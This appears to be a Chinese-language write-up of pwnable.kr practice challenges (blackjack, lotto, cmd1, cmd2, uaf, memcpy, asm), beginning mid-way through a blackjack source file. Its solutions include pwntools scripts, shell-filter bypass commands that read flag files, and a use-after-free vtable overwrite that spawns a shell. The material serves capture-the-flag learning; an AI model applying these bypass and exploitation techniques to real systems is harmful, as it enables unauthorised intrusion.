    printf("\n         222                     111                         ");
    printf("\n        222                      111                         ");
    printf("\n       222                       111                         ");
    printf("\n      222222222222222      111111111111111                       ");
    printf("\n      2222222222222222    11111111111111111                         ");
    printf("\n");
    printf("\n");

    asktitle();

    printf("\n");
    printf("\n");
    system("pause");
    return(0);
} //end program

void asktitle() // Function for asking player if they want to continue
{
    char choice1;
    int choice2;

     printf("\n                 Are You Ready?");
     printf("\n                ----------------");
     printf("\n                      (Y/N)\n                        ");
     scanf("\n%c",&choice1);

    while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
    {                                                                           
        printf("\n");
        printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
        scanf("%c",&choice1);
    }


    if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
    { 
            system("cls");
            printf("\nEnter 1 to Begin the Greatest Game Ever Played.");
            printf("\nEnter 2 to See a Complete Listing of Rules.");
            printf("\nEnter 3 to Exit Game. (Not Recommended)");
            printf("\nChoice: ");
            scanf("%d", &choice2); // Prompts user for choice
            if((choice2<1) || (choice2>3)) // If invalid choice entered
            {
                printf("\nIncorrect Choice. Please enter 1, 2 or 3\n");
                scanf("%d", &choice2);
            }
            switch(choice2) // Switch case for different choices
            {   
                case 1: // Case to begin game
                   system("cls");

                   play();

                   break;

                case 2: // Case to see rules
                   system("cls");
                   rules();
                   break;

                case 3: // Case to exit game
                   printf("\nYour day could have been perfect.");
                   printf("\nHave an almost perfect day!\n\n");
                   system("pause");
                   exit(0);
                   break;

                default:
                   printf("\nInvalid Input");
            } // End switch case
    } // End if loop



    else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
    {
        printf("\nYour day could have been perfect.");
        printf("\nHave an almost perfect day!\n\n");
        system("pause");
        exit(0);
    }

    return;
} // End function

void rules() //Prints "Rules of Vlad's Blackjack" list
{
     char choice1;
     int choice2;

     printf("\n           RULES of VLAD's BLACKJACK");
     printf("\n          ---------------------------");
     printf("\nI.");
     printf("\n     Thou shalt not question the odds of this game.");
     printf("\n      %c This program generates cards at random.", spade);
     printf("\n      %c If you keep losing, you are very unlucky!\n", diamond);

     printf("\nII.");
     printf("\n     Each card has a value.");
     printf("\n      %c Number cards 1 to 10 hold a value of their number.", spade);
     printf("\n      %c J, Q, and K cards hold a value of 10.", diamond);
     printf("\n      %c Ace cards hold a value of 11", club);
     printf("\n     The goal of this game is to reach a card value total of 21.\n");

     printf("\nIII.");
     printf("\n     After the dealing of the first two cards, YOU must decide whether to HIT or STAY.");
     printf("\n      %c Staying will keep you safe, hitting will add a card.", spade);
     printf("\n     Because you are competing against the dealer, you must beat his hand.");
     printf("\n     BUT BEWARE!.");
     printf("\n      %c If your total goes over 21, you will LOSE!.", diamond);
     printf("\n     But the world is not over, because you can always play again.\n");
     printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade);
     printf("\nWould you like to go the previous screen? (I will not take NO for an answer)");
     printf("\n                  (Y/N)\n                    ");
     scanf("\n%c",&choice1);

     while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
    {                                                                           
        printf("\n");
        printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
        scanf("%c",&choice1);
    }


    if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
    { 
            system("cls");
            asktitle();
    } // End if loop



    else if((choice1 == 'N') || (choice1 == 'n')) // If no, convinces user to enter yes
    {
        system("cls");
        printf("\n                 I told you so.\n");
        asktitle();
    }

    return;
} // End function

int clubcard() //Displays Club Card Image
{


    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;

    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", club);
    printf("-------\n");
    }


    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  J  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    }


    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  A  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }

         else
         {

             k=1;
         }
    }


    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  Q  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    k=10; //Set card value to 10
    }


    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  K  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;           
}// End function

int diamondcard() //Displays Diamond Card Image
{


    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;

    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", diamond);
    printf("-------\n");
    }

    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  J  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    }

    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  A  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }

         else
         {
             k=1;
         }
    }

    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  Q  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    k=10; //Set card value to 10
    }

    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  K  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
}// End function

int heartcard() //Displays Heart Card Image
{


    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;

    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart); 
    printf("|  %d  |\n", k);
    printf("|    %c|\n", heart);
    printf("-------\n");
    }

    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  J  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    }

    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  A  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }

         else
         {
             k=1;
         }
    }

    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  Q  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    k=10; //Set card value to 10
    }

    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  K  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
} // End Function

int spadecard() //Displays Spade Card Image
{


    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;

    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", spade);
    printf("-------\n");
    }

    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  J  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    }

    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  A  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }

         else
         {
             k=1;
         }
    }

    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  Q  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    k=10; //Set card value to 10
    }

    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  K  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
} // End Function

int randcard() //Generates random card
{


     srand((unsigned) time(NULL)); //Generates random seed for rand() function
     random_card = rand()%4+1;

     if(random_card==1)
     {   
         clubcard();
         l=k;
     }

     if(random_card==2)
     {
         diamondcard();
         l=k;
     }

     if(random_card==3)
     {
         heartcard();
         l=k;
     }

     if(random_card==4)
     {
         spadecard();
         l=k;
     }    
     return l;
} // End Function   

void play() //Plays game
{

     int p=0; // holds value of player_total
     int i=1; // counter for asking user to hold or stay (aka game turns)
     char choice3;

     cash = cash;
     cash_test();
     printf("\nCash: $%d\n",cash); //Prints amount of cash user has
     randcard(); //Generates random card
     player_total = p + l; //Computes player total
     p = player_total;
     printf("\nYour Total is %d\n", p); //Prints player total
     dealer(); //Computes and prints dealer total
     betting(); //Prompts user to enter bet amount

     while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
                  //  because there is a chance user can generate twenty-one consecutive 1's
     {
         if(p==21) //If user total is 21, win
         {
             printf("\nUnbelievable! You Win!\n");
             won = won+1;
             cash = cash+bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }

         if(p>21) //If player total is over 21, loss
         {
             printf("\nWoah Buddy, You Went WAY over.\n");
             loss = loss+1;
             cash = cash - bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }

         if(p<=21) //If player total is less than 21, ask to hit or stay
         {         
             printf("\n\nWould You Like to Hit or Stay?");

             scanf("%c", &choice3);
             while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
             {                                                                           
                 printf("\n");
                 printf("Please Enter H to Hit or S to Stay.\n");
                 scanf("%c",&choice3);
             }


             if((choice3=='H') || (choice3=='h')) // If Hit, continues
             { 
                 randcard();
                 player_total = p + l;
                 p = player_total;
                 printf("\nYour Total is %d\n", p);
                 dealer();
                  if(dealer_total==21) //Is dealer total is 21, loss
                  {
                      printf("\nDealer Has the Better Hand. You Lose.\n");
                      loss = loss+1;
                      cash = cash - bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  } 

                  if(dealer_total>21) //If dealer total is over 21, win
                  {                      
                      printf("\nDealer Has Went Over!. You Win!\n");
                      won = won+1;
                      cash = cash+bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  }
             }
             if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
             {
                printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total);
                stay();
             }
          }
             i++; //While player total and dealer total are less than 21, re-do while loop 
     } // End While Loop
} // End Function

void dealer() //Function to play for dealer AI
{
     int z;

     if(dealer_total<17)
     {
      srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function
      z=rand()%13+1;
      if(z<=10) //If random number generated is 10 or less, keep that value
      {
         d=z;

      }

      if(z>11) //If random number generated is more than 11, change value to 10
      {
         d=10;
      }

      if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total
      {
         if(dealer_total<=10)
         {
             d=11;
         }

         else
         {
             d=1;
         }
      }
     dealer_total = dealer_total + d;
     }

     printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total

} // End Function 

void stay() //Function for when user selects 'Stay'
{
     dealer(); //If stay selected, dealer continues going
     if(dealer_total>=17)
     {
      if(player_total>=dealer_total) //If player's total is more than dealer's total, win
      {
         printf("\nUnbelievable! You Win!\n");
         won = won+1;
         cash = cash+bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
      if(player_total<dealer_total) //If player's total is less than dealer's total, loss
      {
         printf("\nDealer Has the Better Hand. You Lose.\n");
         loss = loss+1;
         cash = cash - bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
      if(dealer_total>21) //If dealer's total is more than 21, win
      {
         printf("\nUnbelievable! You Win!\n");
         won = won+1;
         cash = cash+bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
     }
     else
     {
         stay();
     }

} // End Function

void cash_test() //Test for if user has cash remaining in purse
{
     if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
     {
        printf("You Are Bankrupt. Game Over");
        cash = 500;
        askover();
     }
} // End Function

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

void askover() // Function for asking player if they want to play again
{
    char choice1;

     printf("\nWould You Like To Play Again?");
     printf("\nPlease Enter Y for Yes or N for No\n");
     scanf("\n%c",&choice1);

    while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
    {                                                                           
        printf("\n");
        printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
        scanf("%c",&choice1);
    }


    if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue.
    { 
            system("cls");
            play();
    }

    else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
    {
        fileresults();
        printf("\nBYE!!!!\n\n");
        system("pause");
        exit(0);
    }
    return;
} // End function

void fileresults() //Prints results into Blackjack.txt file in program directory
{
    FILE *fpresults; //File pointer is fpresults
    fpresults = fopen(RESULTS, "w"); //Creates file and writes into it
    if(fpresults == NULL) // what to do if file missing from directory
    {
               printf("\nError: File Missing\n");
               system("pause");
               exit(1);
    }
    else
    {     
     fprintf(fpresults,"\n\t RESULTS");
     fprintf(fpresults,"\n\t---------\n");
     fprintf(fpresults,"\nYou Have Won %d Times\n", won);
     fprintf(fpresults,"\nYou Have Lost %d Times\n", loss);
     fprintf(fpresults,"\nKeep Playing and Set an All-Time Record!");
    } 
     fclose(fpresults);
     return;
} // End Function

分析

问题主要出自betting函数

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function
  1. 选择在第二次输入时直接输1000000,无脑赌到赢
  2. 选择第一次输入-1000000,无脑赌到输

因为最后计算金额时候,不是cash = cash + bet;就是cash = cash - bet;分别对应两种利用

解题

YaY_I_AM_A_MILLIONARE_LOL


Cash: $1000500
-------
|H    |
|  2  |
|    H|
-------

Your Total is 2

The Dealer Has a Total of 10

13. lotto

题目

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!\n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

}

void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

    // menu
    unsigned int menu;

    while(1){

        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");

        scanf("%d", &menu);

        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}

分析

原来这里两层循环来判断提交的值是否在 lotto 中出现,但是逻辑上是有问题的

// calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

实际上这段代码是检测提交的值是否在 lotto 中出现,和原来本意有很大的出入,因为我们可以输入 6 同样的值,只要保证这个值在 lotto 里出现即可完成破解

解题

from pwn import *

conn = ssh(host="pwnable.kr", port=2222, user="lotto", password="guest")

p = conn.process(executable="/home/lotto/lotto")
while True:
    print(p.recvuntil("Exit"))
    p.send("1" + "\n")
    print(p.recvuntil("bytes :"))
    p.send(chr(1)*6)
    print(p.recvuntil("bad luck...", timeout=1))

14. cmd1

题目

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/thankyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

分析

  • strstr:返回字符串str中第一次出现子串substr的地址;如果没有检索到子串,则返回NULL

filter 中过滤了三个字符串flagshtmp

但是???还是没明白和 PATH 的关系

解题

通配符直接上,跟题目没太大关系

cmd1@pwnable:~$ /home/cmd1/cmd1 "/bin/cat /home/cmd1/f*"
mommy now I get what PATH environment is for :)

15. cmd2

题目

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}

extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++)    memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}

分析

过滤更彻底,想办法绕

解题

cmd2@pwnable:~$ cd /
cmd2@pwnable:/$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f???'
$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f???
FuN_w1th_5h3ll_v4riabl3s_haha

16. uaf

题目

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;    
}

分析

终于到 use-after-free 的题了

学习可以看下这个视频:The Heap: How do use-after-free exploits work? - bin 0x16

题目提供了三种操作,分别对用 释放-分配-调用

  1. 我们先来看下在堆中的结构,首先要确定大小为 24 字节
0x0000000000400efb <+55>:   mov    edi,0x18
0x0000000000400f00 <+60>:   call   0x400d90 

在 heap 中我们也能看到分配了长度为0x20的空间,为什么不是0x18呢,是源自 malloc_chunk 时会进行对齐,具体可见这篇文章堆相关数据结构

通过 chunk 复用存入的结构体如下,可以看到数据分别对应

  • 8 (vptr)
  • 8 (int_age)
  • 8 (prt_name)

这里有个奇怪的点,可以看到 ptr_name 均是指向上一个chunk被复用部分中的除 priv_size 和 size 的剩余部分,可能是编译优化导致的?

注意到是先通过 Man 的虚表去调用 introduce 方法

pwndbg> x/4 0x401570
0x401570 :    0x000000000040117a    0x00000000004012d2
0x401580 :    0x0000000000000000    0x00000000004015f0
pwndbg> x 0x40117a
0x40117a :    0x10ec8348e5894855
pwndbg> x 0x4012d2
0x4012d2 :    0x10ec8348e5894855

所以我们只要能覆盖 vptr 使其指向 原地址-8,即0x401570 - 0x8 = 0x00401568,这样经过执行时的+0x8就会调用 give_shell 函数

这里还要注意,free 时先释放的 m 后释放的 w,所以填充时是先填充的 w 后填充 m,所以需要步骤 2 执行两次

另外,由于我们只需要填充 vptr 部分,所需 8 字节是小于释放的 chunk 的,所以会直接填充两次消耗释放的空间即可

解题

uaf@pwnable:~$ python -c  'print "\x68\x15\x40\x00\x00\x00\x00\x00"' > /tmp/uafpass
uaf@pwnable:~$ ./uaf 8 /tmp/uafpass
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning

参考:

  1. https://tzhuobo.gitee.io/2019/11/21/pwnable-kr-uaf/
  2. http://weaponx.site/2017/02/15/uaf-writeup-pwnable-kr/

17. memcpy

题目

// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
        asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
    int i;
    for (i=0; i<len; i++) {
        dest[i] = src[i];
    }
    return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
    size_t i;
    // 64-byte block fast copy
    if(len >= 64){
        i = len / 64;
        len &= (64-1);
        while(i-- > 0){
            __asm__ __volatile__ (
            "movdqa (%0), %%xmm0\n"
            "movdqa 16(%0), %%xmm1\n"
            "movdqa 32(%0), %%xmm2\n"
            "movdqa 48(%0), %%xmm3\n"
            "movntps %%xmm0, (%1)\n"
            "movntps %%xmm1, 16(%1)\n"
            "movntps %%xmm2, 32(%1)\n"
            "movntps %%xmm3, 48(%1)\n"
            ::"r"(src),"r"(dest):"memory");
            dest += 64;
            src += 64;
        }
    }

    // byte-to-byte slow copy
    if(len) slow_memcpy(dest, src, len);
    return dest;
}

int main(void){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Hey, I have a boring assignment for CS class.. :(\n");
    printf("The assignment is simple.\n");

    printf("-----------------------------------------------------\n");
    printf("- What is the best implementation of memcpy?        -\n");
    printf("- 1. implement your own slow/fast version of memcpy -\n");
    printf("- 2. compare them with various size of data         -\n");
    printf("- 3. conclude your experiment and submit report     -\n");
    printf("-----------------------------------------------------\n");

    printf("This time, just help me out with my experiment and get flag\n");
    printf("No fancy hacking, I promise :D\n");

    unsigned long long t1, t2;
    int e;
    char* src;
    char* dest;
    unsigned int low, high;
    unsigned int size;
    // allocate memory
    char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    size_t sizes[10];
    int i=0;

    // setup experiment parameters
    for(e=4; e<14; e++){    // 2^13 = 8K
        low = pow(2,e-1);
        high = pow(2,e);
        printf("specify the memcpy amount between %d ~ %d : ", low, high);
        scanf("%d", &size);
        if( size < low || size > high ){
            printf("don't mess with the experiment.\n");
            exit(0);
        }
        sizes[i++] = size;
    }

    sleep(1);
    printf("ok, lets run the experiment with your configuration\n");
    sleep(1);

    // run experiment
    for(i=0; i<10; i++){
        size = sizes[i];
        printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
        dest = malloc( size );

        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        slow_memcpy(dest, src, size);        // byte-to-byte memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        fast_memcpy(dest, src, size);        // block-to-block memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
        printf("\n");
    }

    printf("thanks for helping my experiment!\n");
    printf("flag : ----- erased in this source code -----\n");
    return 0;
}

分析

把源存储器内容值送入目的寄存器,当有m128时,必须对齐内存16字节,也就是内存地址低4位为0.

movntps m128,XMM
m128 <== XMM 直接把XMM中的值送入m128,不经过cache,必须对齐16字节.

注意到当 input > 64 时,会调用 fast_memcpy 下的 movntps 指令,此时必须保证地址对齐

另外 malloc 通过 edx 值返回地址值

考虑到分配 chunk 时有固定 header,32 位下长度为 0x8 (priv_size + size),所以每次input时,我们通过控制 padding 保证满足下列条件之一:

  • (input + padding + len(header)) % 0x10 > 0x8 这种情况会自动对齐至 0x10
  • (input + padding + len(header)) % 0x10 = 0x0

推荐:Malloc碎碎念

这里添加一下对齐前后的堆内容的对比图片

解题

from pwn import *

chunk_header = 0x8
r = remote("pwnable.kr", 9022)

for i in range(10):
    r.recvuntil("\n")
    n = 8 if i == 0 else 2**(i+3) + chunk_header
    print("[->] %d" % n)
    r.sendline(str(n))

r.recvuntil("experiment!\n")
print(r.readline())

18. asm

题目

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));

    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}

分析

这道题主要涉及seccomp

